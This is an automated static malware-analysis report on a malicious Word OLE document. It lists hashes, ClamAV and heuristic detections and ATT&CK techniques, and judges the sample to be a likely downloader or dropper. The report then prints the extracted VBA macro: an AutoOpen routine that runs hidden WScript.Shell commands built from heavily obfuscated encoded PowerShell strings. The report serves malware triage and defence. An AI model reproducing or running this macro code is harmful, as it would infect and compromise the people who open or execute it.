Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b452e5ab6495cb9f…

MALICIOUS

Office (OLE)

131.5 KB Created: 2018-03-13 19:36:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 1dc3ead8a99918008ce416bfb9fb87a6 SHA-1: 80fae3e5b7bb06394d2af9d2ecc79193e03a9d92 SHA-256: b452e5ab6495cb9f28358de2aef9406bd031e9b39446344f2463cc3f74b80303
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro utilizes WScript.Shell and CreateObject to execute a secondary payload, indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_CREATEOBJ' heuristics. The 'macros.bas' file is the source of these malicious macros. The specific family is unknown, but the techniques used suggest a downloader or dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6472974-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6472974-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    WWlJrfjZCzAKkpIdNns.DSwsvXXvqOiL.lCafCzTiCFOGIZz.BWwCUREZsOUInj
CreateObject("WScript.Shell").Run SpBwmhzKqYWB + FhczzpjOobih + immwXnp + jIoUwBmodLqTR, vbHide
QHaMaDLHdwQrqGbWlztvmhMiojKW.NfivnVfXKNmhYiqE.KjMGarZWIjuwYt.ouQSiwClwwalHNODWZiViKGnnIY
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    WWlJrfjZCzAKkpIdNns.DSwsvXXvqOiL.lCafCzTiCFOGIZz.BWwCUREZsOUInj
CreateObject("WScript.Shell").Run SpBwmhzKqYWB + FhczzpjOobih + immwXnp + jIoUwBmodLqTR, vbHide
QHaMaDLHdwQrqGbWlztvmhMiojKW.NfivnVfXKNmhYiqE.KjMGarZWIjuwYt.ouQSiwClwwalHNODWZiViKGnnIY
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "bSjNptUWEWI"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32009 bytes
SHA-256: 38b9fc5a5002e4ed989c9a56a428d6a7006b0b30fc60bc3d4a977a855fd98b07
Detection
ClamAV: No threats found
Obfuscation or payload: likely
564 of 723 identifiers look randomly generated (e.g. 'iXsXDIYVQfZzaTwBcLWThlRORnvqJ') — consistent with name-mangling obfuscation. Carved artifact contains 18 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bSjNptUWEWI"
Sub AutoOpen()
On Error Resume Next
UEjVOpdHHZElqcwhh.iBqFoNFFXSwKfORbllfKaJLzU.OvWNwnpRoHXP.WPIRKIwtpUPrLBXMY
rklwKjKVKVOZJDVVJuRsAqXIYb.WkmSEQSfiiXFZG.wbfQKLVqscufoBNdZibokYDJJr.qqlpsmLrwdIQvAuuqKkd
RAwWzSEaXVGTofzGmCtdKR.RRjnqiNzZOtZ.nSuUHRYHCzGVunDHrzTAzjERiN.KWhFuFJTTHYVtstPUZSvqJrhOaZq
OdptVNlUsMPlUk.SiaHGRkrMSFB.zrUjSNFiicXfIucNCJWZrP.zRjodldbQLGVArjTHiVjBCcw
Application.Run "fJiaOwAok", HNqvwnEBhcT
HiJIicmkGVOiYbtFAHTB.bVTpPuWfiwplQVGTShjU.tWUkiCciAvIzzjJqTTiQEYYZ.IGmliajhnhwzEhruBhBjnRpzdzOBD
VwunawpsSUYQLwLrOlqWDrW.JqQpHjLidHMzERGuEIOjIXGqlml.KhcibCdjfAljJpnDmLmwf.RvcqkmkaDVwjYvfhYCnXPEXfXSjC
azozOPjClSrzE.PlZRrXEnkJIjNYwSRChXdVJmKfwf.kwYKHHuzBsfwnPfphCIFSAoRh.tbnGLYZzzMkWGQBVQK
YpFizddqaVkI.cnNTJujGZnPSEK.rDwjiPJdowqdiiwiPEduSCiLVdvz.pLsThwWYAirT
End Sub
Function HNqvwnEBhcT()
On Error Resume Next
ztnnXidiIPzMhZ.mZjUMJVtpznLHFWcYZYiBtOsDzqdF.GMwcYatjXwczwnkXWYmnYm.vwsLnROTsoMtbO
tFEZsDq = ytgUBhjkgbksad("QF CPT[R WziK($hNPQLAOAYGA1AAMAEDA2AAMAUDA2AgNAYGAhBgMAEGA2AQMAgDAiBgYAQDA3AANAgDAjBQNAUDA5AQNAMDAhBgYAYGAjBgZAEGAmBANAQGA2AAOAMDA3AANAIGA3AAOAEDAkBwNAMDA0AAOAYDAlBQOAIGA3AgYAQDAlBQYAMDA2AAMAcDA4AwYAcDA5AQMAE3(46hzp", 8, 188)
ztnnXidiIPzMhZ.mZjUMJVtpznLHFWcYZYiBtOsDzqdF.GMwcYatjXwczwnkXWYmnYm.vwsLnROTsoMtbO
iUJcHTUuBJvQlKrPZOwUXfadEfF.BWhdjkOQdHLYNmjkcf.GJRGikNUwujYcNBticSjBwa.RCXGlwqBYwwJjQzsSQPVwjiKM
clRjmzqXJo = ytgUBhjkgbksad("dbb3Whhp[LR(0OsiX]7R%AUGAjBANAQB[i", 4, 10)
iUJcHTUuBJvQlKrPZOwUXfadEfF.BWhdjkOQdHLYNmjkcf.GJRGikNUwujYcNBticSjBwa.RCXGlwqBYwwJjQzsSQPVwjiKM
CiVYiwGuOMtMIOiBlHFjon.WSdIzbTaoMFvjHBDROw.nXuEqMqBNqto.NzFEqHTvlFADTvtkD
IVRkGqQ = ytgUBhjkgbksad("Uj1zjOsWWZAEGAwAAZAIDA2AQZAkDAkBANAYGA2AAOAIDAhBAMAADAxAQMAEGAzAQYAMGAyAQYAUDAzAwMAcDA0AQMAIDA5AwMAQGAmBgZAIDAxAAOAMDA1AQZAIGAwAQZAQDAkBQZAwHA9AQPAcHArAwNAEGAhBgZAIDAyAwNAEDAzBgSAsG", 3, 170)
CiVYiwGuOMtMIOiBlHFjon.WSdIzbTaoMFvjHBDROw.nXuEqMqBNqto.NzFEqHTvlFADTvtkD
HiDVdrLzzwovQQTHYALchtnQUkhUB.UqOOYsSbiliGssUTKajsiANUQNun.tJqvBcwjBrao.WZzbBvvBaHoJNTctwLwialcnKqPW
uQStCN = ytgUBhjkgbksad("CW0IiSQi0EA(8b7JKA15i#z$5fJw", 18, 3)
HiDVdrLzzwovQQTHYALchtnQUkhUB.UqOOYsSbiliGssUTKajsiANUQNun.tJqvBcwjBrao.WZzbBvvBaHoJNTctwLwialcnKqPW
CptUdWFIjWSY.zVtNlfFoBQOXvjfaJtstCPjEEFh.YPjmijIfXXRw.OAZiziqZiZcafpjooJjwDPmjbsO
nJbwjPAvs = ytgUBhjkgbksad("HFpsUGAxAgZAQDA1AQOAUDAhBgMAEDAwAAZAUDAkBgZAQDAxAwNAgDAhBQMAEGA5AgMAgDAjBgNAYGA2AANAYGA1AQMAEGAiBAZAQGA1AgZAEDA4AQOAEGAhBgYAMDA5AgZAADA3AANAYGAyAwMAEGAwAQNAMDA5AgMAQGA1AQMAMGA0AwMAUGAlBANAQDAwAAMAQGAyAQMoj0j9k", 7, 199)
CptUdWFIjWSY.zVtNlfFoBQOXvjfaJtstCPjEEFh.YPjmijIfXXRw.OAZiziqZiZcafpjooJjwDPmjbsO
bzFnQZRNBrkPtjU.MCcmQCWnSBGIVF.rKFGziCojTknFKplEVVwPiCuZbRVO.IswssEocVdJOvSfORc
MQNZD = ytgUBhjkgbksad("C1YOjGAhBgNAADAlBwMAUDA1AQZAYGAmBQMAQGAkBANAgDAjBwYAQGAmBgYAkDA3AAOAMDAlBQNAEDAlBAZAIDA2AQOAIDAlBgYAYDAiBwYAEDAhBQYAEGA5Abp<%oP", 7, 116)
bzFnQZRNBrkPtjU.MCcmQCWnSBGIVF.rKFGziCojTknFKplEVVwPiCuZbRVO.IswssEocVdJOvSfORc
CwizACEGvdKpa.zUhOWiaIoJkO.qXAmjMEqrLGD.iUYldTtiWdjuSrduI
aMzFw = ytgUBhjkgbksad("PsRYbFhUfWo)cz]suVifi$YU6NaBAbAEEAvBwUAcHAyAAVAEGA8BgM5435a05061b3143240f3476111d29467'($(RTsbOTGnirTSeRuceS::]Lahi", 2, 88)
CwizACEGvdKpa.zUhOWiaIoJkO.qXAmjMEqrLGD.iUYldTtiWdjuSrduI
FmfZEYwhbzVqzDThuiRZvias.aXbwvKwGIGNrjIYvpXRCqQknQn.NEnbMnidAXkfmWjrzFqLZsdFGIpzJ.ojILlCUiBDBfXYFrijHZnhZcZ
wmtAMPi = ytgUBhjkgbksad("p6KCHRoMAQDAhBQMAMGA4AANAkDA2AwYAUDAlBgMAcDAxAwNAQGAmBQOAUDAmBgNAUGA5AgYAUGA0Ag0sihHw[]!(RMC)i3", 17, 72)
FmfZEYwhbzVqzDThuiRZvias.aXbwvKwGIGNrjIYvpXRCqQknQn.NEnbMnidAXkfmWjrzFqLZsdFGIpzJ.ojILlCUiBDBfXYFrijHZnhZcZ
MnMduVuYpDVJQ.AiYTlIqqLjWKktnncpS.TpXYGLJIaMoHhcQhOcdJOVccHkk.lCbjqYCLHANZ
qAEqjztirF = ytgUBhjkgbksad("wo$1hAlBgYAYGA3AANAIDAwAAMAUGA3AwYAcDAjBQOAIRG#OC", 6, 39)
MnMduVuYpDVJQ.AiYTlIqqLjWKktnncpS.TpXYGLJIaMoHhcQhOcdJOVccHkk.lCbjqYCLHANZ
sQUuGOBPKvfljkk.iLAWhtfjEwVdVmYLlCXzKRvSZ.KXwoUzGonPCvcwlnq.sYuXXUzhNkcMPiz
OzRBS = ytgUBhjkgbksad("Su4u#OF)LT_9AQOAADAxAQYAEDAxAwNAMGA2AQMAQGAwAwYAIGA4AwYAgDAzAwNAMGA4AgYAEDA0AgMAQGAxAwYAEDAhBANAkDAlBwYAUGAmBgMAcDAmBwMAQDAxAQNAMDA4AgZAMDAjBwMAEDA3AANAUDAyAQZAUDAxAANAADAiBgNAEDAiBQYAz8zzSvf(zX6dOD1YSB9dBiiOh1P", 28, 172)
sQUuGOBPKvfljkk.iLAWhtfjEwVdVmYLlCXzKRvSZ.KXwoUzGonPCvcwlnq.sYuXXUzhNkcMPiz
zODhzwbNOpZqrTYiMotZNqpiXU.zjtcjfzSCwjRCpFSHrwawsVj.NzbHYYJiNbjVMpKrB.kjXqkIYhnbuoGKKNWiY
SSSZJZuf = ytgUBhjkgbksad("CChirOdjBgNAEDA2AgYAQDA1AAMAQDA1AwMAMDAkBQNAADAiBQOAIDAmBAOAMGAjBQNAUDAhBwMAYDAjBgMAcDA1AQZAQGA2AwYAYDA2AQZAEDAhBwYAADA0AQZAgDAxAAZAYDAwAgYAIDAjBgZAUGA1AAZAkDAyAgNAYDAiBwNAEGAlBgMAcDA5AS[j6wzI$v$]#", 13, 177)
zODhzwbNOpZqrTYiMotZNqpiXU.zjtcjfzSCwjRCpFSHrwawsVj.NzbHYYJiNbjVMpKrB.kjXqkIYhnbuoGKKNWiY
tXjVCEUZHarfvvkvnozRQBWwpCp.KrBYZGzwXEWdsiKmCdjzsAC.rLdrBkfAOoOQYSGowlYjR.YmrjuMWsnJoahOdHzm
YbwTH = ytgUBhjkgbksad("1zWsAcDA0AAOAEGAjBQOAYDAkBwMAMGAkBwNAIDA0AQYAUGA3AQZAYDAwAgYAEDA4AgYAEDA4AwMAUDA0$aapRsIUCOU_w(%wX36@VCfO_RvSQO", 31, 77)
tXjVCEUZHarfvvkvnozRQBWwpCp.KrBYZGzwXEWdsiKmCdjzsAC.rLdrBkfAOoOQYSGowlYjR.YmrjuMWsnJoahOdHzm
GEbZYdIAiZSUjwpwIoKqoKL.suJsLhETIuHDEidZEERhEWm.LDttimrvttjiUPpAVzL.omtaKkmktidWHnhHnKkVCMKKBw
OicBDUWwT = ytgUBhjkgbksad("GhXr@krTOG1z$AwAQNAYGAjBQNAIDA0AgNAYDAmBQZAQGA3AAMAgDAyAAMAkDA5AQYAMDA3AwNAkDA4AQMAIDA1AgNAQDAyAwNAUGAkBAOAADAmBQZAQDAlBgMAgDAyAAMAYDA0AgZAcDA2AANAgDAiBgYAEDAyAQOAADA4AwYAIDAkBAZAUDAiBwYAQGA5AgZAgDAyAAZAkDAwAwMAR]]Qik", 7, 198)
GEbZYdIAiZSUjwpwIoKqoKL.suJsLhETIuHDEidZEERhEWm.LDttimrvttjiUPpAVzL.omtaKkmktidWHnhHnKkVCMKKBw
ijopVKGpQwYpiMunNTGEJoTs.DUWmqpzziJlwWQBHKjjkSdPS.FKFwapMvFRqjCaJYqACJ.qCEzzInHSaFEOkfuCHTYARzLYH
spowsZA = ytgUBhjkgbksad("Vc9 f%1!hMY]t7(M2AEDAjBQYAEDAyAgMAQGAwAwYAkDAmBgZAADAkBQNAgDA5AwNAMGAkBQYAkDAzAgNAYDAxAAOAUDAlBgMAgDAxAQMAIGA1AQOAYGA4AgYAEDAiBQOAUDA3AwNAMDA1AQNAkDAl)@zjXo6z$Q9", 12, 133)
ijopVKGpQwYpiMunNTGEJoTs.DUWmqpzziJlwWQBHKjjkSdPS.FKFwapMvFRqjCaJYqACJ.qCEzzInHSaFEOkfuCHTYARzLYH
jQzrljikKwhkIBookFzwJzwvG.sDhcFZBJEOtmrdkDdBafltUY.iYLdkRElAraChrIizzauwNTOGWwV.zwiJhaBqjUzpArlKAvKRz
XLArLVTA = ytgUBhjkgbksad("TaWiU1dP3CR(fp4QD650Gk!ij#U6GX83Bd#AAOAIDA1AQOAUDA2AQMAEDA1AAZAEGAkBwMAMDAzAwNAQDA5AQNAIGAiBANAcDAmBwNAUDA0AAZAEDA1AgNAMGA5AwNAEGAzAAOAYDAzAwMAIGA4AANAIDAkBwNAYDA0AwYAADAzAgNAEDAjBQZAMGAwAwNAUGA2AwNAADAkBgMAQDA0AANAMGA5oF1", 4, 184)
jQzrljikKwhkIBookFzwJzwvG.sDhcFZBJEOtmrdkDdBafltUY.iYLdkRElAraChrIizzauwNTOGWwV.zwiJhaBqjUzpArlKAvKRz
zIrUlpDiqwtraJ.pzMwjjwrRDsqNE.pukLJjuoFQdirvpJrvzhCOpqXDQ.RtwqZwJzHOAauJGjDEFwb
VzIqclI = ytgUBhjkgbksad("V!RU3AQYAIGAlBwYAMDA1AgNAkDA3AgMAgDA3AgNAQDAyAgZAQGA5AQMAUGAiBgYAYDA2AwYAMDAkBQNAcDAxAgZAMGAxAQZAEDAhBAMAYGA0AgZAYGA2AQOAUDAjBQNAYGAyAgMAIDA4AAZAgDA0AwNAYDA5AAOkB5VG", 6, 155)
zIrUlpDiqwtraJ.pzMwjjwrRDsqNE.pukLJjuoFQdirvpJrvzhCOpqXDQ.RtwqZwJzHOAauJGjDEFwb
QjuTVLDacABCtV.wXwQdzXinYMCQo.TmiQaXGQiKhjpzKcrCjC.CzTJtFHuIInlEh
BwhlOFXhwJX = ytgUBhjkgbksad("F7hO0#jm(1s_Q6< GnIRtSeruces-otTREvnOC |'==AAwAgZAUDA3AQYAMGA5AwMAUGA2AgMAkDA5AgYAEGAyAwYAQGAlBAZAEDA2AQZAgD17OrP8TC@", 10, 93)
QjuTVLDacABCtV.wXwQdzXinYMCQo.TmiQaXGQiKhjpzKcrCjC.CzTJtFHuIInlEh
UWLvrpCOAFuZJsRn.cWQfYiGNtKljAzwiAIcHOrVwj.qmnLCpzhlhNj.rFhwiQiAIvqIkofZlBTzWoUZhIwj
SWvDiKiXzGl = ytgUBhjkgbksad("D0Xj6UQQzzIPKWGkPA0AgYAQDAxAgMAQGAhBgZAEDAhB<3p2Rzi", 8, 27)
UWLvrpCOAFuZJsRn.cWQfYiGNtKljAzwiAIcHOrVwj.qmnLCpzhlhNj.rFhwiQiAIvqIkofZlBTzWoUZhIwj
mBZYCoNKSwTDlasvIjqGmFSOVCPVN.rILMmiXVcqjnLuKRzz.kZtiuLhjKCAYszAF.sZoOXnHzZzuYEDD
cFIwEv = ytgUBhjkgbksad("0aQ_vA]wNAADA5AAZAYDAwAgNAIDAjBwYAEGAjBQMAEDAhBAOAUDAkBwNAQDA3AQYAEDA3AwMAUDA5AAOAIDAjBgMAUGAkBgYAQGA5AwYAQDAxAQOAQDAjBAMAUDAyAwMAADAwAgNAMDAhBgMAUGAkBQYAkDAjBQZAEGAkBAOAEGA1AQMAEDAkBgYAQGAzAgZAgDA4AgNoO0u_<@o1zp", 13, 193)
mBZYCoNKSwTDlasvIjqGmFSOVCPVN.rILMmiXVcqjnLuKRzz.kZtiuLhjKCAYszAF.sZoOXnHzZzuYEDD
LBrOrHTAEcwzmHIYfQaOKifQVvI.VohwNTCYYluKwQB.wSWYtrtJiYhhVasvwJ.QuClTEjztWPQtcLRCZjQdv
adcOkHiP = ytgUBhjkgbksad("ztRU_OPFwA$iCih!<(KyAANAQDAmBgZAIDAyAgZAQDA5AAZAIGAhBwNAMGAmBAZAUDAlBwNAUGAlBAMAEDAzAwMAYDAxAQMAIGAxAgNAUDAyAgZAEDA5AANAMGAkBQOAADAmBwMAIDAhBAMAEDAlBQMAADAzAQOGR4", 4, 140)
LBrOrHTAEcwzmHIYfQaOKifQVvI.VohwNTCYYluKwQB.wSWYtrtJiYhhVasvwJ.QuClTEjztWPQtcLRCZjQdv
QUKVBiLAPNPlWvEX.JPfazcdAEQJzEVAaOkwwiGFiZUmEX.fHrQHAlmSrhVzRCCLrOLHLGbUCKA.cpYcJkCGnOzo
aMTXI = ytgUBhjkgbksad("Vo@6TQYAYDA2AQYAMGA4AgYAMDAlBQZAkDAwAAOAADAjBwNAMDAhBQYAMGAzAQMAADA2AwYAMDAyAQYAYDA1AgZAADAiBQZAUGA3AQYAQGA4AgMAUGAkBQMAADAyAAMAQGAiBAZ%koYLzBv$(", 11, 130)
QUKVBiLAPNPlWvEX.JPfazcdAEQJzEVAaOkwwiGFiZUmEX.fHrQHAlmSrhVzRCCLrOLHLGbUCKA.cpYcJkCGnOzo
XRfDLzZFRdSkchqEvdvnN.nXiQVQmCKfwiZB.PzIZmXYwRMvZzHABhOPdHVubIS.SnlzIoOfdnOakPYQE
mhmohjm = ytgUBhjkgbksad("w3hfv7i_(Fh36Did(@IVo)ZAMDAxAQYAEDAxAQNAMGAxAgMAMGA0AAOAEDAiBQZAUGAyAgNAQDA3AAMAgDA5AQZAMDAkBwMAIDAiBgZAUGp1CQ0<6(C(oU", 13, 84)
XRfDLzZFRdSkchqEvdvnN.nXiQVQmCKfwiZB.PzIZmXYwRMvZzHABhOPdHVubIS.SnlzIoOfdnOakPYQE
ObSWhnwKsACcsINzwkDkhiWjlz.EiLMTYZDKBRuUrQcNSPw.JTRIGLIjEikkPrjhoiETE.vhpjtQCJQVww
fzzhoT = ytgUBhjkgbksad("2Xwofbo3jY]o@7d$<z8Jr3NAQDAkBQOAYGA2AQYAUDAyAQNAYGA3AAMAkDAiBAMAIGAjBANAgDA1AAMAEDAxAQNAQDA5AAZAADAlBQMAYDAzAQZAMGA2AAZAkDAmBAOAQDA3AwMAMDAwAwYAU()0zwFP[%R%", 13, 122)
ObSWhnwKsACcsINzwkDkhiWjlz.EiLMTYZDKBRuUrQcNSPw.JTRIGLIjEikkPrjhoiETE.vhpjtQCJQVww
wbpEwjZSfoOUAsqjXCjSs.HbXTtlQtjvAizWrYtzzfLjChiKtMz.jujzTOhipoClHSUWs.szIkUMnYYpojrDtRLF
CWnaoY = ytgUBhjkgbksad("3i4$j]iz5_dXKr) )) )) ))371..241( EK-do$PHp3I", 9, 22)
wbpEwjZSfoOUAsqjXCjSs.HbXTtlQtjvAizWrYtzzfLjChiKtMz.jujzTOhipoClHSUWs.szIkUMnYYpojrDtRLF
mHwVkwiGSTLvrYEJPovIcMaTHC.FnACZcvzJPMfoVcwGM.lLnrAtWbNajiOh.cSRRlTwbvtDIHmzOUGBRGS
miLXiLfrz = ytgUBhjkgbksad(" 0]d0c2AkDAkBAOAIGAkBgNAQDA3AQOAcDAzAQOAUGA1AQMAEGA5AwMAMDA2AwNAIDAyAgNAQDAxAgZAYGA5AQZAMGAkBgMAkP7oCCJoH", 9, 90)
mHwVkwiGSTLvrYEJPovIcMaTHC.FnACZcvzJPMfoVcwGM.lLnrAtWbNajiOh.cSRRlTwbvtDIHmzOUGBRGS
WoBKRbjiXJpTzmfXCiOnDPh.XAOjIbUvuRdaccGRnOka.qmTZOICCRiGHinRNCavptZf.FuZXwzofGqhNvHt
szGaX = ytgUBhjkgbksad("zU)1%ib#5!!v8$5UizzV)bbMgZAUGAiBwYAUGAhBAZAMGA2AwYAYDAkBwNAADAiBgYAkDAlBgNAYGAyAAMAUGAhBwYAADA1AQZAIGAkBQMAIDA4AwYAQDAzAQMAQGAjBQYAUDAzAAMAgDAkBANAMG[Ab6#k#s", 9, 125)
WoBKRbjiXJpTzmfXCiOnDPh.XAOjIbUvuRdaccGRnOka.qmTZOICCRiGHinRNCavptZf.FuZXwzofGqhNvHt
nhojhIGHBrwJitRajqKopTbMEMJA.linRilwdAjfrtFnzwvYcfnL.OFTGcbUzGZPMJrvHSzjKizwNoOIRl.CwSoDdRsAYLjlTpaoFzQ
hpiCtjfqS = ytgUBhjkgbksad("dr!b!tW_AQGA1AQMAkDAzAwMAQDA5AANAgDAiBwMAADA3AgYAYGAjBANAUGAzAQMAUDAlBAOAYDAiBwNAEDAkBgZAUGA4AgZAADA1AQNAMGA1AAOAQGAxAgMAYDA1AANAUDA4AwMAADAmBQMAkDA4AQMAQGAlBAZAYDAjBQYAIDAwAgNAQDAkBgYAYDA5AwYAEDAiBgMAYGAwAQAoB(i#[TP#S$Wds$ii(", 20, 199)
nhojhIGHBrwJitRajqKopTbMEMJA.linRilwdAjfrtFnzwvYcfnL.OFTGcbUzGZPMJrvHSzjKizwNoOIRl.CwSoDdRsAYLjlTpaoFzQ
zzEwADlltwTL.ZzaRpKvYrEUhvnZRjtqH.zoPiNDiZJfoCufXJknfadIsjQFPLT.FdDYaKLjcGMwhZjf
VjiUaZpjDNT = ytgUBhjkgbksad("Wd1W@PbF 1PD0DWtvfSjA6cHH0z!KbtPfAQGA4AAZAIDA4AwNAMDAxAgMAIDAlBAOAUGAmBQNAEGAlBANAIGAlBgYAEGA3AANAIGAmBAZAUDAlBAOAIGAyAgMAUGAiBQOAQDAkBAOAkDISU", 4, 107)
zzEwADlltwTL.ZzaRpKvYrEUhvnZRjtqH.zoPiNDiZJfoCufXJknfadIsjQFPLT.FdDYaKLjcGMwhZjf
FBJabJGwEIHpZLKjNiDsBUdHafd.fLwPsQnZXwSkFYERz.nDlqFOmrskYBAvjqT.KswJYlLPPTmcPMIJsaioFjdAXCB
zsGFMqaoAI = ytgUBhjkgbksad("M47fzViUBMEmTeg.]LAhSram.sEcivResPoReTni.eMItNuR[(::]lAhsrAM.SEcIVrEsPoretni.emitNUR[ ( ( )'x'+]31[DILLEHS$+]1[DilLEHS$ ( . %z54cHCv", 9, 116)
FBJabJGwEIHpZLKjNiDsBUdHafd.fLwPsQnZXwSkFYERz.nDlqFOmrskYBAvjqT.KswJYlLPPTmcPMIJsaioFjdAXCB
ziKzpRYKiAviuqjlU.JRutYwVwPiGzbLOHFRiqfvvKwQkHV.EtPiJHVFJMbtCu.fZkPnkOGiROVk
izinvwQVkUv = ytgUBhjkgbksad("Y6wzcziPL6zvfbDA4AAOAYDA3AQNAkDAjBAOAUDA1AgYAcDAiBQMAMDAiBAZAADAzAwMAUGAlBgYAMGAmBQZAMDA0AQYAMDAkBANAYDA5AgMAMDAiBQMAUDA5AwNAIGAiBQNAEGAjBAZAEDA5AQNAMGA0AAZAUGAyAQMAIDAiBAthFiSpwK_7WPh8HWFwu5z0", 23, 157)
ziKzpRYKiAviuqjlU.JRutYwVwPiGzbLOHFRiqfvvKwQkHV.EtPiJHVFJMbtCu.fZkPnkOGiROVk
ZFjrVjqBOGipQ.tkJjinDTcoRhwDti.VwZRbXAsnqKdlPI.tzKTLzpCGdsanin
KhbbsnMf = ytgUBhjkgbksad("zLptf(oSji6F$CirObFQU9P8bs6N[d7(MGAyAAMAMGA_<3S", 5, 11)
ZFjrVjqBOGipQ.tkJjinDTcoRhwDti.VwZRbXAsnqKdlPI.tzKTLzpCGdsanin
iEOpTNvPpUzsDszYEPTtPCap.mlLAMXiKpPKLYrCKuR.RdXwLuqEHSTciZXjckPdw.hNcnMfXRjVkwXnPoz
OETazpa = ytgUBhjkgbksad("Bd3Rw$_%IRz(iEDAhBQMAMDA0AAOAIGAjBwNAMGAjBANAIDAkBwNAUDAiBQMAkDAkBwNAMGAxAAMAMDAjBwNAQGAlBAOAkDA3AgYAADAzAgNAUGAmBQZAYGA4AgMAADA2AgZAgDAmBQOAADAhBwMAUDAlBANAYDA3AAZAgD6()", 4, 154)
iEOpTNvPpUzsDszYEPTtPCap.mlLAMXiKpPKLYrCKuR.RdXwLuqEHSTciZXjckPdw.hNcnMfXRjVkwXnPoz
RZSzzwTkqhnmoiHGKnF.wOQuciQumQOpk.TlmcBnohaUETvClM.iXsXDIYVQfZzaTwBcLWThlRORnvqJ
mmwLk = ytgUBhjkgbksad("ArFN[j$i%PoadAkDAzAQYAgDA2AANAMDAhBAOAUDAhBANAIDAzAAMAUDAkBwNAYGA4AgNAUDA5AANAYDAkBQMAEDAhBAZAQGAlBwNAADA4AAZAEDA5AAZAQDAyAgNAUDAzAQZAADAmBQZAQGAlBQZAcDAmBwNAcDA5AwYAMDAiBgYAgDAjBQNAUDAmBAZAQGAkBQMAQDA5Agho)i7d6OW@!bw2Kw3wb4$O$X", 25, 191)
RZSzzwTkqhnmoiHGKnF.wOQuciQumQOpk.TlmcBnohaUETvClM.iXsXDIYVQfZzaTwBcLWThlRORnvqJ
VBrvTELrXjoCzZbuKdEX.ZfjwkmGKrPvrXYY.pmBAldKaKEEBHWEjNPwVLzj.FjfRtKZACMVrCWXvVG
tPcuXs = ytgUBhjkgbksad("3i0iHWHPdTKY%_uRQHGAzAQZAMDA1Lz17ww", 7, 11)
VBrvTELrXjoCzZbuKdEX.ZfjwkmGKrPvrXYY.pmBAldKaKEEBHWEjNPwVLzj.FjfRtKZACMVrCWXvVG
jDDQDmPudlWMcPjmuZchOGitbWD.VvYlEdzkFfqPtBEKEwCo.onTJDicYKohjrZiMkIwRwhOiMoNCT.dTOZjHFcBwULvrJjBbVzTqEXzH
vDSswwp = ytgUBhjkgbksad("oidhw)5r6hBIRjiCO6XAjBAMAYDAhBQNAIGAwAgYAEGAzA!57zTh1o[8zB$i", 15, 27)
jDDQDmPudlWMcPjmuZchOGitbWD.VvYlEdzkFfqPtBEKEwCo.onTJDicYKohjrZiMkIwRwhOiMoNCT.dTOZjHFcBwULvrJjBbVzTqEXzH
cmZujvYbTmXsTllLULCtZ.HUTXXZCHLrYaMiNRzRk.uWuKozwTTBkp.HfEbIYwZLbfTt
anLpYt = ytgUBhjkgbksad("zRvji_Oj0Oj%i$#8Q$[[AzAQOAYDAmBwMAEGA5AQYAQGAkBQNAkDAiBgZAMGAlBgMAQGA5AgNAYDAjBYfm", 4, 59)
cmZujvYbTmXsTllLULCtZ.HUTXXZCHLrYaMiNRzRk.uWuKozwTTBkp.HfEbIYwZLbfTt
YawJFUPNKBbGqvsaMGrjsTo.LkzSbJlwWfzjQhfODpn.jdPRdDcQUioFmbwUXwlBQfjKzI.ibccDfwoiVfpXjV
kdjWrDRAOV = ytgUBhjkgbksad("<Gzf@P4oLf(@GwRYNQ0O3iaPzwAQGAzAgNAEGAhBQZAEGAwAwMAYGAhBgNAIGAlBQZAIDAwAwNAUDAjBwNAQGAzAAOAYGAxAgZAkDAyAQZAIDAzAQMAIDAjBgZAMGAiBAMAADAmBAMAEDA0AANAIGAyAAZjY<zUX_", 8, 128)
YawJFUPNKBbGqvsaMGrjsTo.LkzSbJlwWfzjQhfODpn.jdPRdDcQUioFmbwUXwlBQfjKzI.ibccDfwoiVfpXjV
LsFhbdFEsntAORkfSKCwY.jFXGBFtHDrlMpwVl.dZNkPiZqnpkCzZCDzMzKVbzL.jBOCbmKjZYZLbQbzPOQIFGRi
